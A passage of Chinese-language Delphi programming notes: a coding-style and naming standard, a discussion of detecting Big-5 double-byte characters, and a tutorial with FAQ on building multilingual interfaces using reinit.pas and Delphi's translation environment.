初始状态为0的数据将存储在一个"虚"数据段中, 这个数据库只在应用程序启动时从内存中分配.
初始状态非0的全局数据则必须在磁盘上的 exe 文件中占据空间.

类型

大写约定

类型名称如果是保留字, 则必须完全小写.
Win32 API 类型一般完全大写, 你应该遵循 Windows.pas 和其他 API 单元中某些类型名称的约定.
其他变量名称, 首字母应该大写, 其余部分也应该足够清楚. 下面是几个例子:

var
MyString: string; // 保留字
WindowHandle: HWND; // Win32 API 类型
I: Integer; //
在 System 单元中引入的类型标识符

浮点(Floating Point)类型

使用 Real 类型是不好的, 因为它仅仅是为了与旧的 Pascal 代码保持向后兼容而保留的.
对于一般的浮点运算应该使用 Double 类型.
Double 是 IEEE 定义的标准数据格式, 处理器指令以及系统总线都为处理 Double 类型而进行过优化.
Extended 类型应该只在需要比 Double 更大的数据范围时使用.
Extended 是 Intel 指定类型, Java 不支持.
Single 类型应该只在浮点变量本身占用的字节大小很重要的情况下使用, 比如使用其他语言编写的 DLL 时.

枚举(Enumerated)类型

枚举类型名称应该具有与其用途相关的含义.
类型名称必须以字符 T 为前缀, 表示是一个类型声明.
枚举类型的标识符序列必须以2到3个小写字符为前缀, 而且前缀必须与类型名有联系, 例如:

TSongType = (stRock,
stClassical, stCountry, stAlternative, stHeavyMetal, stRB);

枚举类型的变量实例的名称应该与不带 T 前缀的类型名称相同,
除非有其他原因需要更详细的名称, 比如 FavoriteSongType1, FavoriteSongType2, 等等.

Variant 和 OleVariant

一般来说使用 Variant and OleVariant 类型是不好的,
但如果数据类型只能在运行时确定, 就必须使用这些类型了,
比如开发 COM 和数据库程序时.
OleVariant 常用于开发基于 COM 的程序, 比如 OLE 自动化和 ActiveX 控件.
Variant 则常用于非 COM 程序.
原因是 Variant 能(与字符串变量一样)更高效地存储 Delphi 字符串,
但 OleVariant 需要把所有的字符串转换为 Ole Strings(WideChar Strings),
而且由于没有引用记数, 字符串将永远存在.

结构类型

数组类型

数组类型名称应该具有与其用途相关的含义. 类型名必须以字符 T 为前缀.
如果声明了指向该数组类型的指针类型, 则其名称必须以字符 P 为前缀,
而且必须在数组类型的前一行位置进行声明, 例如:

  type
PCycleArray =
^TCycleArray;
TCycleArray = array[1..100] of
integer;

数组类型变量实例名称应该与不带字符 T 前缀的类型名称相同.

记录类型

记录类型名称应该具有与其用途相关的含义. 类型名必须以字符 T 为前缀.
如果声明了指向该记录类型的指针类型, 则其名称必须以字符 P 为前缀,
而且必须在记录类型的前一行位置进行声明.
记录元素的声明应该对齐为一列, 例如:

type
PEmployee = ^TEmployee;
TEmployee = record
EmployeeName: string
EmployeeRate: Double;
end;

语句

if 语句

if/then/else 语句中最可能被执行的部分应该放在 then 子句中,
不太可能被执行的部分应该放在 else 子句中.

如果可能, 尽量不要使用一连串的 if 语句, 而应该以 case 语句替代.

不要使 if 语句嵌套超过5层以上, 尽量以更清楚的代码替代.

不要在 if 语句中使用无意义的括号.

如果 if 语句中需要检测多个条件, 则条件应该按照计算强度从小到大地排列.
这将使得你的代码执行的布尔计算更少, 性能更高. 例如, 如果 Condition1 比 Condition2 计算更快,
Condition2 比 Condition3 计算更快, 那么 if 语句应该是如下结构:

if
Condition1 and Condition2 and Condition3 then

case 语句

概要

case 语句中的单个子句应该以 case 常数的数字顺序或字母顺序排列.

子句中的执行语句应该尽量保持简单, 一般不要超过4到5行代码.
如果执行语句过于复杂, 应该将它放置在独立的过程或函数中.

case 语句的 else 子句应该只在正常的默认情况或检测到错误的情况下使用.

格式

case 语句遵循同样的缩进和命名约定.

while 语句

使用 Exit 过程退出 while 循环是不好的;
如果可能, 应该只使用循环条件来结束循环.

while 循环的所有初始化代码应该紧贴在进入 while 循环之前, 不要被其他无关语句分隔开.

循环结束后的处理应该紧跟在循环之后.

for 语句

如果需要执行确定次数的增量循环, 应该用 for 语句替代 while 语句.

repeat
语句

repeat 语句与 while 循环类似, 并遵循相同的规则.

with 语句

概要

with 语句应该小心使用, 并有很多需要注意的地方.
不要过多地使用 with 语句, 而且要小心 with 语句中使用多个对象, 记录, 等等的情况. 例如:

with
Record1, Record2 do

这样的代码可能会产生语意含糊, 并导致难以检测的 bug.

格式

with 语句格式遵循同样的命名约定和缩排规则.

结构化的意外处理

概要

意外处理在错误修正以及资源保护中都应该大量使用.
也就是说, 任何分配资源的情况, 都应该使用 try..finally 以确保资源被正确释放.
在单元的 initialization/finalization 中或在对象的 constructor/destructor 中分配/释放资源的情况不在此列.

try..finally 的使用

任何可能的地方, 所有的资源分配代码都必须以 try..finally 结构保护起来.
例如, 下面的代码可能导致的 bug:

SomeClass1 :=
TSomeClass.Create
SomeClass2 := TSomeClass.Create;
try
{ do some code }
finally
SomeClass1.Free;
SomeClass2.Free;
end;

更安全的做法应该是:

SomeClass1 := TSomeClass.Create
try
SomeClass2 := TSomeClass.Create;
try
{ do some code }
finally
SomeClass2.Free;
end;
finally
SomeClass1.Free;
end;

try..except 的使用

try..except 应该只在你需要在产生意外时执行任务的情况下使用.
一般来说, 你不需要使用 try..except 来简单地显示错误信息,
因为应用程序将通过 Application 对象自动实现这一点.
在 except 子句中, 如果你希望在执行过自己的任务后再调用缺省的意外处理程序, 应该使用 raise 来再次产生这个意外.

try..except..else 的使用

在 try..except 中使用 else 子句是不好的,
因为它将阻塞所有的意外, 包括那些你没有准备处理的意外.

类

命名规则

类的类型名称应该具有与其用途相关的含义, 类型名必须以字符 T 为前缀,
表明这是一个类型定义, 例如:

type
TCustomer = class(TObject)

类的实例名称一般与不带 T 前缀的类名称一样, 例如

var
Customer: TCustomer;

注意: 关于组件命名的更多信息, 请参见 "组件类型命名标准" 部分.

域

命名规则

类的域遵循与变量一样的命名约定, 除非以字符 F 前缀表示是重要的域名称.

可见度(Visibility)

所有的域都应该是私有的(private).
可在类范围外访问的域应该通过属性来实现.

方法

命名规则

类方法与过程和函数遵循相同的命名约定.

静态方法的使用

如果你不希望方法在派生类中被重载(override), 应该使用静态方法.

虚/动态方法的使用

如果你希望方法在子类中被重载, 应该使用虚方法方法.
动态方法应该只在存在大量(直接和非直接)派生类的类中使用.
例如, 一个类中包含一个很少被重载的方法, 但这个类有100个派生类,
则应该将这个方法设置为动态方法, 以减少这100个派生类消耗的内存.

抽象方法的使用

不要在会创建实例的类中使用抽象方法.
抽象方法应该只在不会创建实例的基类(base classes)中使用.

属性存取方法

所有的属性存取方法应该出现在类定义的私有或保护部分.

属性存取方法遵循与过程和函数相同的命名约定.
取值方法必须以单词 Get 为前缀,
赋值方法必须以单词 Set 为前缀,
赋值方法参数必须命名为 Value, 类型应该与属性描述的一致, 例如:

TSomeClass = class(TObject)
private
FSomeField: Integer;
protected
function GetSomeField: Integer;
procedure SetSomeField( Value: Integer);
public
property SomeField: Integer read GetSomeField write
SetSomeField;
end;

属性

命名规则

用于存取私有域的属性应该与相应的域名称系统, 但没有 F 前缀.

属性名应该是名词, 而不是动词. 属性表示数据, 方法则表示动作.

数组属性名应该是复数形式. 普通属性名应该是单数形式.

存取方法的使用

尽管不是必要的, 我们仍然建议你为访问私有域的属性最少建立一个的赋值方法.

文件

工程文件

命名

工程文件名称应该具有描述性. 例如, The Delphi 4
Developer's Guide Bug Manager 的工程命名为: DDGBugs.dpr.
一个系统信息程序命名为 SysInfo.dpr.

窗体文件

命名

窗体文件名称应该具有描述性, 并与其用途相关. 名称应该带有 Frm 后缀.
例如, About 窗体的文件名为 AboutFrm.dpr.
Main 窗体的文件名为 MainFrm.dpr.

数据模块文件

命名

数据模块名称应该具有描述性, 并与其用途相关.
名称应该带有 DM 后缀.
例如, Customers 数据模块的文件名为 CustomersDM.dfm.

远程数据模块文件

命名

远程数据模块名称应该具有描述性, 并与其用途相关.
名称应该带有 RDM 后缀.
例如, Customers 远程数据模块的文件名为 CustomersRDM.dfm.

单元文件

一般单元结构

单元名称

单元文件名称应该带描述性.
例如, 包含应用程序主窗体的单元应该命名为 MainFrm.pas.

Uses 子句

interface 部分的 uses 子句应该只包括 interface 部分中代码需要的单元.
Delphi 自动加入的无关的单元名应该删除.

implementation 部分的 uses 子句应该只包括 implementation 部分中代码需要的单元.
无关的单元名应该删除.

Interface 部分

Interface 部分应该只包括可被外部单元访问的类型声明, 变量声明, 过程/函数的预先声明, 等等.
其他内容应该在 implementation 部分.

Implementation 部分

Implementation 部分应该包括类型本单元私有的类型声明, 变量声明, 过程/函数.

Initialization 部分

不要将耗费大量时间的代码放在单元的 initialization 部分.
这将导致应用程序启动缓慢.

Finalization 部分

确保你释放了在 Initialization 部分分配的全部项目.

窗体单元

命名

窗体的单元文件名应该与窗体文件名相同.
例如, About 窗体的单元文件名为 AboutFrm.pas.
Main 窗体的单元文件名为 MainFrm.pas.

数据模块单元

命名

数据模块的单元文件名应该与数据模块的文件名相同.
例如, Customers 数据模块的单元文件名为 CustomersDM.pas.

一般用途单元

命名

一般用途单元名称应该具有含义, 并与其用途相关.
例如, 一个实用程序单元命名为 BugUtilities.pas.
一个包含全局变量的单元命名为 CustomerGlobals.pas.

记住, 单元名在工程使用的所有包内应该是唯一的.
因此建议你不要使用过于抽象或普通的单元名.

组件单元

命名

组件单元应该保存在单独的目录下, 以便将它们作为用户自定义组件和组件包区分开.
绝对不要与工程保存在相同的目录下.
单元名应该能表示其内容.

注意: 关于组件命名标准的更详细信息, 请参见"用户自定义组件"部分.

文件头

建议在所有的源文件, 工程文件, 单元文件等等中使用包含信息的文件头.
正确的文件头应该包括以下信息:

{
Copyright ?YEAR by AUTHORS
}

窗体和数据模块

窗体

窗体类型命名标准

窗体类型名称应该描述其用途.
类型定义应该以字符 T 为前缀,
描述性的名称跟随在前缀之后.
最后, Form 作为后缀跟在描述性的名称之后.
例如, About 窗体的类型名称应该是:

TAboutForm = class(TForm)

Main 窗体的定义应该是

TMainForm = class(TForm)

客户登记窗体的名称类似于

TCustomerEntryForm = class(TForm)

窗体实例命名标准

窗体实例应该命名为与类名一致, 但不带 T 前缀.
例如, 上述窗体类型, 其实例名称如下:

Type Name Instance Name TAboutForm AboutForm TMainForm MainForm TCustomerEntryForm CustomerEntryForm

自动创建窗体

除非有其他更好的理由, 否则应该只有主窗体是自动创建的.
其他所有窗体应该从 Project Options 对话框的 Auto-Create Forms 列表中删除.
详情请阅读下面的部分.

模式化(Modal)窗体实例函数

所有的窗体单元应该包含一个窗体实例化函数, 这个函数将创建, 设置, 模式化显示, 释放窗体,
并返回窗体模式化(modal result)结果.
传递给该函数的参数遵循本文档规定的"参数传递"标准.
使用这样的函数的目的是为了封装窗体的使用, 使得代码更易于重用和维护.

窗体变量应该从单元中删除, 并在函数中声明为局部变量.
注意, 这需要先将窗体从 Project Options 对话框的 Auto-Create Forms 列表中删除
参见本文档的"自动创建窗体"部分.

例如, 下面的单元说明了为 GetUserData 窗体编写的一个这样的函数.

unit UserDataFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TUserDataForm = class(TForm)
edtUserName: TEdit;
edtUserID: TEdit;
private
{ Private declarations }
public
{ Public declarations }
end;

function GetUserData(var aUserName: String; var aUserID:
Integer): Word;

implementation

{$R *.DFM}

function GetUserData(var aUserName: String; var aUserID:
Integer): Word;
var
UserDataForm: TUserDataForm;
begin

UserDataForm := TUserDataForm.Create(Application);
try

UserDataForm.Caption := 'Getting User Data';
Result := UserDataForm.ShowModal;
if ( Result = mrOK ) then
begin
aUserName := UserDataForm.edtUserName.Text;
aUserID := StrToInt(UserDataForm.edtUserID.Text);
end;

finally
UserDataForm.Free;
end;

end;

end.

数据模块

数据模块命名标准

DataModule 类型名称应该描述其用途.
类型定义应该以字符 T 为前缀,
描述性的名称跟随在前缀之后.
最后, DataModule 作为后缀跟在描述性的名称之后.
例如, Customer 数据模块的类型名称类似于:

TCustomerDataModule = class(TDataModule)

Orders 数据模块的类型名称类似于

TOrdersDataModule
= class(TDataModule)

数据模块实例命名标准

数据模块实例名称应该与类型名称一致, 但不带 T 前缀.
例如, 上述数据模块类型, 其实例名称如下:

Type Name Instance Name TCustomerDataModule CustomerDataModule TOrdersDataModule OrdersDataModule

包

运行期和设计期包的使用

运行期包只包含包内其他组件需要的单元和组件.
包含属性/组件编辑器和其他设计期间代码的单元应该放置在设计期包内.
注册单元应该放在设计期包内.

文件命名标准

包应该按照以下模式命名:

"iiilibvv.pkg" - 设计期包

"iiistdvv.pkg" - 运行期包

其中 "iii" 表示以3个字符作为前缀.
这个前缀可以用来标识公司, 个人, 或其他信息.

"vv" 表示包所适用的 Delphi 版本.

注意包名称中包含 "lib" 或 "std",
是为了标识这是运行期包还是设计期包.

当既有设计期包又有运行期包时, 文件名应该类似.
例如, Delphi 4 开发指南的包命名为:

DdgLib40.pkg - 设计期包

DdgStd40.pkg - 运行期包

用户自定义组件

组件类型命名标准

组件命名与类命名类似,
不同的是组件名带有3个字符的前缀.
这个前缀用来标识公司, 个人, 或其他信息.
例如, Delphi 4 开发指南编写的一个时钟组件定义为:

TddgClock = class(TComponent)

注意前缀字符为小写.

组件单元

组件单元应该只包含一个主组件. 主组件是指出现在组件板(Component Palette)上的组件.
主组件的其他辅助性的组件/对象也在相同的单元内.

注册单元的使用

组件的注册过程应该从组件单元中删除, 而放置在单独的注册单元中.
这个注册单元将注册所有的组件, 属性编辑器, 组件编辑器, 专家(experts)等等.

组件的注册动作只在设计期包内进行, 因此注册单元应该只包含在设计期包内, 而不在运行期包内.

建议注册单元命名为:

XxxReg.pas

其中 "Xxx" 是3字符前缀, 用来标识公司, 个人, 或其他信息.
例如, Delphi 4 开发指南中的组件注册单元命名为 DdgReg.pas.

组件实例命名约定

所有的组件名称都应该是描述性的.
不应该有组件使用 Delphi 缺省赋给的名称.
组件名称应该包括一个小写前缀, 以指明其类型.
使用前缀而不是使用后缀的原因之一是在 Object Inspector 和 Code Explorer 中可以更容易地按名称查找组件.

组件前缀

以下前缀赋给 Delphi 4 附带的标准组件.
如果安装了第三方组件, 请增加这份列表.

Standard
页面

前缀 组件
mm TMainMenu
pm TPopupMenu
mmi TMainMenuItem
pmi TPopupMenuItem
lbl TLabel
edt TEdit
mem TMemo
btn TButton
cb TCheckBox
rb TRadioButton
lb TListBox
cb TComboBox
scb TScrollBar
gb TGroupBox
rg TRadioGroup
pnl TPanel
cl TCommandList

Additional 页面

前缀 组件
bbtn TBitBtn
sb TSpeedButton
me TMaskEdit
sg TStringGrid
dg TDrawGrid
img TImage
shp TShape
bvl TBevel
sbx TScrollBox
clb TCheckListbox
spl TSplitter
stx TStaticText
cht TChart

Win32 页面

前缀 组件
tbc TTabControl
pgc TPageControl
il TImageList
re TRichEdit
tbr TTrackBar
prb TProgressBar
ud TUpDown
hk THotKey
ani TAnimate
dtp TDateTimePicker
tv TTreeView
lv TListView
hdr THeaderControl
stb TStatusBar
tlb TToolBar
clb TCoolBar

System 页面

前缀 组件
tm TTimer
pb TPaintBox
mp TMediaPlayer
olec TOleContainer
ddcc TDDEClientConv
ddci TDDEClientItem
ddsc TDDEServerConv
ddsi TDDEServerItem

Internet 页面

前缀 组件
csk TClientSocket
ssk TServerSocket
wbd TWebDispatcher
pp TPageProducer
tp TQueryTableProducer
dstp TDataSetTableProducer
nmdt TNMDayTime
nec TNMEcho
nf TNMFinger
nftp TNMFtp
nhttp TNMHttp
nMsg TNMMsg
nmsg TNMMSGServ
nntp TNMNNTP
npop TNMPop3
nuup TNMUUProcessor
smtp TNMSMTP
nst TNMStrm
nsts TNMStrmServ
ntm TNMTime
nudp TNMUdp
psk TPowerSock
ngs TNMGeneralServer
html THtml
url TNMUrl
sml TSimpleMail

Data Access 页面

前缀 组件
ds TDataSource
tbl TTable
qry TQuery
sp TStoredProc
db TDataBase
ssn TSession
bm TBatchMove
usql TUpdateSQL

Data Controls 页面

前缀 组件
dbg TDBGrid
dbn TDBNavigator
dbt TDBText
dbe TDBEdit
dbm TDBMemo
dbi TDBImage
dblb TDBListBox
dbcb TDBComboBox
dbch TDBCheckBox
dbrg TDBRadioGroup
dbll TDBLookupListBox
dblc TDBLookupComboBox
dbre TDBRichEdit
dbcg TDBCtrlGrid
dbch TDBChart

Decision Cube 页面

前缀 组件
dcb TDecisionCube
dcq TDecisionQuery
dcs TDecisionSource
dcp TDecisionPivot
dcg TDecisionGrid
dcgr TDecisionGraph

QReport 页面

前缀 组件
qr TQuickReport
qrsd TQRSubDetail
qrb TQRBand
qrcb TQRChildBand
qrg TQRGroup
qrl TQRLabel
qrt TQRText
qre TQRExpr
qrs TQRSysData
qrm TQRMemo
qrrt TQRRichText
qrdr TQRDBRichText
qrsh TQRShape
qri TQRImage
qrdi TQRDBMImage
qrcr TQRCompositeReport
qrp TQRPreview
qrch TQRChart

Dialogs 页面

Dialog 组件是封装在组件内部的实际窗体. 因此应该遵循窗体的命名约定.
类型定义已经定义为组件名称了, 实例名称应该与不带数字后缀的类型实例名称相同, 如下:

类型 实例名称
TOpenDialog OpenDialog
TSaveDialog SaveDialog
TOpenPictureDialog OpenPictureDialog
TSavePictureDialog SavePictureDialog
TFontDialog FontDialog
TColorDialog ColorDialog
TPrintDialog PrintDialog
TPrintSetupDialog PrinterSetupDialog
TFindDialog FindDialog
TReplaceDialog ReplaceDialog

Win31 页面

前缀 组件
dbll TDBLookupList
dblc TDBLookupCombo
ts TTabSet
ol TOutline
tnb TTabbedNoteBook
nb TNoteBook
hdr THeader
flb TFileListBox
dlb TDirectoryListBox
dcb TDriveComboBox
fcb TFilterComboBox

Samples 页面

前缀 组件
gg TGauge
cg TColorGrid
spb TSpinButton
spe TSpinEdit
dol TDirectoryOutline
cal TCalendar
ibea TIBEventAlerter

ActiveX 页面

前缀 组件
cfx TChartFX
vsp TVSSpell
f1b TF1Book
vtc TVTChart
grp TGraph

Midas 页面

前缀 组件
prv TProvider
cds TClientDataSet
qcds TQueryClientDataSet
dcom TDCOMConnection
olee TOleEnterpriseConnection
sck TSocketConnection
rms TRemoteServer
mid TmidasConnection


判斷一個字是否為BIG-5码

假如沒有中文應用組件的朋友, Win32 中有一個 IsDBCSLeadByte 這個 API 可用, 在 Delphi 的使用示例如下:

Windows.IsDBCSLeadByte(byte(sTest[1]));

(中文應用組件中的 IsLeadByte 其實也只是呼叫這個 API 而已)

就連是不是中文字這樣簡單的問題可能都並不單純喔...., 這個問題之前被我想得有點鑽牛à尖了.... 也許原發問者寬達可以將 C 的程式借我看一下... :p

先來看這個例子:

procedure TForm1.Button5Click(Sender: TObject);
var
sTest:
string;
begin
sTest := '中文字';
// 沒有應用組件的請用這個:
Windows.IsDBCSLeadByte(byte(sTest[1]));
if IsLeadByte(@sTest[1]) then
ShowMessage('Yes 1');
if IsLeadByte(@sTest[2]) then ShowMessage('Yes 2
???');
end;
Yes1 顯示出來是對的, 可是 Yes2 也跑出來, 就..., 看來,
這個IsDBCSLeadByte可能只比對了一下內碼表就給結果了. 所以, 以下的程式:

procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
i: integer;
begin
s := '中文字';
for i := 1 to Length(s) do
if Windows.IsDBCSLeadByte(byte(s[i])) then
ShowMessage(IntToStr(i) + '*' + IntToStr(Ord(s[i])));
end;
1. 2. 3. 4. 5. 都是 Leadbyte, 連 TrailByte 也是..., 哈哈!

當然, 這牽到中文字是 double-byte, 既然只判斷一個位置不準, 就有人利用兩個字元指標, 除了本身之外, 還比較參考另一個位置的字元, 然後得出一個比較準確的結果. 有興趣的朋友可以參考中文應用組件的以下兩個函數:

function IsMBSLead( p1, p2: pchar ) : Boolean;
function IsMBSTrail( p1,
p2: pchar ) : Boolean;
它們可能比較準一些.

大家可能曾注意過, Windows 95 的 EditBox 並無法以滑鼠對半個中文字作出反白選擇標記, 所以, 我自以為找到一個很慢但準確的方法, 可是以下的情形呢?

procedure TForm1.Button2Click(Sender: TObject);
{$h-}
var
sTest: string;
begin
sTest := '中文字';
ShowMessage(Copy(sTest, 2, 2));
with TEdit.Create(Self) do
begin
Parent := Self;
// Text := Copy(sTest, 2, 2); // 1. 中?? bug
Text := sTest[2] + sTest[3]; // 2. 中?? bug
// 不要懷疑, TrailByte + 另一個字的 Leadbyte 正好是 '中'
// 不是 Copy 函數有問題
SelStart := 0;
SelLength := 2;
if SelLength = 0 then ShowMessage('Not Chinese')
else ShowMessage('Yes, Chinese word');
Free;
end;
end;
沒錯啦! 結果是'中'字, 判斷'中'字是中文字也對, 但是各拆一個字的前後出來組出來的結果再判斷其一個字元是不是Leadbyte, 簡直是GIGO (Garbage In Garbage Out)的典型.

說了半天, 問題被我複雜化了, 簡單的說,

1. IsDBCSLeadByte 不是一可完全可靠的函數, 中文是 double-byte, 只以一個傳入字元值作判斷常常不準.
2. 要正確將各個中文字斷開的程式可能很複雜. 用兩個 pchar 來作比較, 準確性會提高一點.

只是提高一點而已, 有中文應用組件的朋友可以試試:

var
sOrigin, sTest: string;
begin
sOrigin := '中文字';
sTest := Copy(sOrigin, 4, 2); // 變成 憒 這個怪字
if IsMBSLead(@sTest[1], @sTest[1]) then Showmessage('Leadbyte');
end;
對的, 我又故意切開中文, 所以有人會講, 應該是 Copy(..., 3, 2)才是, 嗯! ê我怎麼知道該從哪裏開始呢?(哪裏是中文字)? 唉! 我腦筋又不清楚了...

中文應用組件有 AnsiCopy() 視中文字為一個單位, ê以下的程式呢?

var
sTest: string;
begin
sTest := '中文字';
ShowMessage(AnsiCopy(sTest, 2, 2));
sTest := #156 + '中文字';
ShowMessage(AnsiCopy(sTest, 2, 2)); // ??中憒..
end;
講了這麼多, 我的意見是: 回到原點, 除非有人故意搗蛋或者傳入的字串已經有問題, 或者ê個內碼根本沒有字, 否則只用IsDBCSLeadByte()就可以了吧.


多国语言界面的实现

多国语言之step

且说Energy受命之后，在Delphi5前苦苦讨教，这才发觉delphi5的技术比他
想象的还厉害，不禁冷汗直流：如果有什么闪失哪里逃得过这里大狭们的眼
睛啊。不由之间身形已经端了5尺。

Energy颤颤危危的New了一个Application，保存慌忙之间居然没起名字，
凭经验应该叫project1；然后放了一个菜单，一个按钮一个label，不禁暗自
思量到。在多国这够说明问题了吧。
想到CJ不觉在菜单的第一项中填下了caption=CJ,name=mnuChinese;呵呵，
既然有CJ也该有Energy,于是另一项中填下了 caption=Energy,name=mnuEnglish;

然后怎么办？？？
心中无限惶恐的Energy 调出了delphi的例子Demos\Richedit又看了看，立马又
气粗起来。呵呵，有一样好东西，可是让我可以省事不少，不禁又是一阵得意。
（Energy悄悄地把Demos\Richedit\reinit.pas往自己project目录一拷，在
project中又把它加了进来，自言自语道：50% over）

按他的意思先设置一下需要的语言页常数。
implementation

uses reinit;

const
ENGLISH = (SUBLANG_ENGLISH_UK shl 10) or
LANG_ENGLISH;
CHINESE = (SUBLANG_CHINESE_SIMPLIFIED shl 10) or
LANG_CHINESE;

{$R *.DFM}

做个初始化
procedure TForm1.FormCreate(Sender: TObject);
begin
mnuEnglish.Tag:=ENGLISH;
mnuChinese.Tag:=CHINESE;
end;

然后嘛（不就是菜单切换嘛）
于是把两了菜单都指到了一个地方
procedure TForm1.mnuLangClick(Sender: TObject);
begin
if LoadNewResourceModule(TComponent(Sender).Tag) <> 0 then
ReinitializeForms;
end;

呵呵；（90% over）

不会吧，让你step，你到现在都没说，就这么尽抄袭代码。Energy委屈的说，谁让
他是课代表的。想起当年是班里总课代表，我不做功课居然就没人做的年月，不禁
又是一阵感慨。
兄弟们还差10%，加油啊！
菜单[Project]-[Languages]-[Add...]
[Next>],选择中文(chs),英语(eng);（我只用了这两种语言）；
[Next>],[Next>],[Next>],[Finsih],[Yes]
让你保存dpg时小心目录可能是chs,应该用上一级目录才好。

看到了吗，这是你可以修改所有的东西。别乱改。
其中有一些出错信息之类这里都后，放心改好了，改完后可以作为一个模板文件保留。
下次就不用改了。
请关闭吧！
现在可以看到你的project Manager中有3个项目，project1.exe,porject1.eng,project1.chs
后面两了是资源文件，你可以
1,双击project1.eng -- form1,然后修改一些东西。比如button1的caption="eng";改变一下它
的大小和字体。
2,双击project1.chs -- form1,然后修改一些东西。比如button1的caption="chs";改一下字体。
不过最好不要随意改动form的大小和位置！
选中project1.exe,设定为Activate;

然后（兄弟们99%了）
右键project1.chs--build;
右键project1.eng--build;
右键project1.exe--build;
run

噫，你会发现exe中的界面不起作用了。呵呵，系统自己自动选择了一个语言页嘛。
什么你不要自动，$#$%^%^&,[project]-[Languages]-[set Active];
对了如果要在调出那个grid方式修改的工具可以[view]-[Translation Manager];

好了好了，顺便付上我写了说明的reinit.pas文件其实好好看一下就知道还有更强大
的功能等着你利用呢！
语言页的常数在windows.pas里开始于行218;且
+-----------------------+-------------------------+
| Sublanguage ID | Primary Language ID |
+-----------------------+-------------------------+
15 10 9 0 bit

unit ReInit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms;

procedure ReinitializeForms; //重新设置form
function LoadNewResourceModule(Locale: LCID): Longint; // 调取新的语言资源

implementation

type
TAsInheritedReader = class(TReader)
public
procedure ReadPrefix(var Flags: TFilerFlags; var AChildPos: Integer); override;
end;

procedure TAsInheritedReader.ReadPrefix(var Flags: TFilerFlags; var AChildPos: Integer);
begin
inherited ReadPrefix(Flags, AChildPos);
Include(Flags, ffInherited);
end;

// 刷新语言页
function SetResourceHInstance(NewInstance: Longint): Longint;
var
CurModule: PLibModule;
begin
CurModule := LibModuleList; // 系统全局变量；模块列表。
Result := 0;
while CurModule <> nil do
begin
if CurModule.Instance = HInstance then
begin
if CurModule.ResInstance <> CurModule.Instance then
FreeLibrary(CurModule.ResInstance); // 释放旧语言页所占资源
CurModule.ResInstance := NewInstance; // 设置新语言页
Result := NewInstance;
Exit;
end;
CurModule := CurModule.Next;
end;
end;

// 调取新的语言资源 LCID为语言页；
function LoadNewResourceModule(Locale: LCID): Longint;
var
FileName: array [0..260] of char;
P: PChar;
LocaleName: array[0..4] of Char;
NewInst: Longint;
begin
GetModuleFileName(HInstance, FileName, SizeOf(FileName)); // 别紧张，只是取一下当前
// 的模块名，之所以如此是
// 由于可能本身是个dll。
GetLocaleInfo(Locale, LOCALE_SABBREVLANGNAME, LocaleName, SizeOf(LocaleName)); //取当前使的语言页
P := PChar(@FileName) + lstrlen(FileName); //指针运算而已 //可能是exe :-)
while (P^ <> '.') and (P <> @FileName) do Dec(P); //找到语言页资源文件的后缀
NewInst := 0;
Result := 0;
if P <> @FileName then // 如果找到
begin
Inc(P);
if LocaleName[0] <> #0 then
begin
// Then look for a potential language/country translation
lstrcpy(P, LocaleName); // 解出资源文件名文件
NewInst := LoadLibraryEx(FileName, 0, LOAD_LIBRARY_AS_DATAFILE); // 加载资源文件
if NewInst = 0 then
begin
// Finally look for a language only translation // 加载失败，使用原文件
LocaleName[2] := #0;
lstrcpy(P, LocaleName);
NewInst := LoadLibraryEx(FileName, 0, LOAD_LIBRARY_AS_DATAFILE);
end;
end;
end;
if NewInst <> 0 then
Result := SetResourceHInstance(NewInst) // 用资源文件刷语言。
end;

function InternalReloadComponentRes(const ResName: string; HInst: THandle;
var Instance: TComponent): Boolean;
var
HRsrc: THandle;
ResStream: TResourceStream;
AsInheritedReader:
TAsInheritedReader;
begin
{ avoid possible EResNotFound exception }
if HInst = 0 then HInst :=
HInstance;
HRsrc := FindResource(HInst, PChar(ResName),
RT_RCDATA);
Result := HRsrc <> 0;
if not Result then
Exit;
ResStream := TResourceStream.Create(HInst, ResName,
RT_RCDATA);
try
AsInheritedReader :=
TAsInheritedReader.Create(ResStream, 4096);
try
Instance :=
AsInheritedReader.ReadRootComponent(Instance);
finally
AsInheritedReader.Free;
end;
finally
ResStream.Free;
end;
Result :=
True;
end;

function ReloadInheritedComponent(Instance: TComponent; RootAncestor: TClass): Boolean;

  function InitComponent(ClassType: TClass): Boolean;
begin
Result := False;
if (ClassType
= TComponent) or (ClassType = RootAncestor) then Exit;
Result := InitComponent(ClassType.ClassParent);
Result :=
InternalReloadComponentRes(ClassType.ClassName,
FindResourceHInstance(
FindClassHInstance(ClassType)), Instance) or Result;
end;

begin
Result := InitComponent(Instance.ClassType);
end;

//重新设置在显示中的所有from,;
procedure ReinitializeForms;
var
Count: Integer;
I: Integer;
Form: TForm;
begin
Count := Screen.FormCount;
for I := 0 to Count - 1 do
begin
Form := Screen.Forms[I];
ReloadInheritedComponent(Form, TForm); //重新刷新所有元件几其父对象
end;
end;

end.
////////////////////////////////

用Delphi 5的Integrated Translation Environment (ITE)可以轻易得完成这个工作。

我们创建一个示意性的工程MultiLanguage， 在Form上放一个Label和一个Button， 分别把Caption赋值为“English Label” 和“English Button”。

选择菜单Project|anguages|Add ...， Delphi显示Add Languages对话框， 选择Next。

从语言列表中选中“英语（美国）” 和“中文（中国）”， 选择Next。

ITE会根据所选的语言创建子目录，目录名称是语言的缩写，选择Next。

第一次增加语言时， Update Mode固ㄎ狢reate new， 选择Next。

选择Finish。

Delphi会自动创建支持不同语言的资源动态库。

Delphi还会自动创建一个工程组， 其中包括原有的MultiLanguages.EXE， 还包括新建的两个资源动态库 （MultiLanguages.enu， MultiLanguages.chs）。 保存工程组。

Delphi启动Translation Manager， 左边是需要翻译的语言， 右边是完成百分比。

选择“中文（中国）”|Forms|Unit1， 在右边第15行和20行填写翻译后的中文。 保存并关闭。

打开Project Manager， 编译MultiLanguages.enu和MultiLanguages.chs， Delphi会在相应的子目录生成资源动态库， 但后缀不是DLL而是ENU和CHS。


多语言支持常见问题

这里有一些提示：

- 应该在开发过程的最后一步才加入多语言支持

- 当你加入语言后，永远不要使用Rebuild All Projects，只使用Compile All。

技巧：

- 当你使用FieldByName('XXXX')时，XXXX也会出现在翻译表中，而且XXXX可以被翻译！！！

这是未公开的功能！你不会在Delphi中找到关于它的说明。

- 如果你对你的程序增加了若干功能，可按以下步骤进行：

1) 从工程中删除所有的语言

